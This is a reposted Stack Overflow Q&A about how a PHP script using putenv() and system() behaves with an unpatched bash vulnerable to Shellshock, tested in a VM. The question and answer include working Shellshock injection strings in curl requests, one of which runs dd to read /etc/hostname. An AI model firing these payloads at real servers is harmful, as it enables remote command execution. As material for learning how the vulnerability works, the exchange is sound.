gpt4 book ai didi

与 Shell 交互时的 PHP 行为

转载 作者:IT王子 更新时间:2023-10-29 00:40:31 25 4
gpt4 key购买 nike

我正在尝试测试 PHP 与 bash shell(版本 4.2)的交互。我的 bash shell 没有针对 shellshock 打补丁(是的,我知道如何打补丁;我正在 VM 中测试;我更专注于 PHP 与 shell 的交互)。

我有一个简单的 PHP 程序,它从查询字符串中获取参数,通过 putenv() 将其添加到环境中,然后使用 system() 运行命令。脚本如下:

<?php

function getParam()
{
$arg = NULL;

if (isset($_GET["arg"]) && !empty($_GET["arg"]))
{
$arg = $_GET["arg"];
}
return $arg;
}

$arg = getParam();

putenv("ARG=$arg");

system("set");

?>

如您所见,system() 使用 set 命令打印 shell 变量。我首先尝试使用以下方法:

curl http://localhost/myphp.php?arg=123

在输出中,我可以看到以下行:

ARG=123

本着 shellshock 的精神,我将我的论点更改如下:

curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;"

参数基本设置为:

arg=() { echo hello; };

当我运行脚本时,我没有在 set 的输出中看到 ARG

但后来我按如下方式更改了 curl 请求:

curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;%20echo%20PID:%20;%20echo%20%24%24%20;%20echo%20Set:%20;%20set%20"

这次,参数设置为:

arg=() { echo hello; }; echo PID:; echo $$; echo Set:; set

这一次,我仍然没有在 system() 的输出中看到 ARG,但由于参数如下,我确实看到了额外的输出:

PID:0

Set:
// Omitted some output
ARG ()
{
echo hello
}

所以我的问题是,为什么我看不到 set 中的参数 ARG 通过 system() 输出,而是看到它在 set 输出中通过参数 ?

编辑:

重新表述问题以使其更清楚:在 PHP 代码中,我调用 system(set)(最后一行)VS 我将 set 作为查询的一部分传递字符串。通过 system() 执行的设置不显示 shell 变量中存在 ARG 显示从查询字符串执行的 set(尽管输出 PID为 0 - 所以必须考虑到这一点来解释这一点)。

这是完整的输出:http://pastebin.com/raw.php?i=WcBXgYAj

如果我将 system(set) 更改为 system(env),我会看到输出:http://pastebin.com/raw.php?i=q1r6Z3Zi

最佳答案

代替

arg=() { echo hello; };

试试这个

() { :;};echo Yes we can...

或者这个

%28%29%20%7B%20%3A%3B%7D%3Becho%20Yes%20we%20can...

...或者介于两者之间

你可以尝试追踪一些东西:

(){ :;};dd if=/etc/hostname of=/tmp/testfile-$$-$RANDOM

关于与 Shell 交互时的 PHP 行为,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/33880183/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com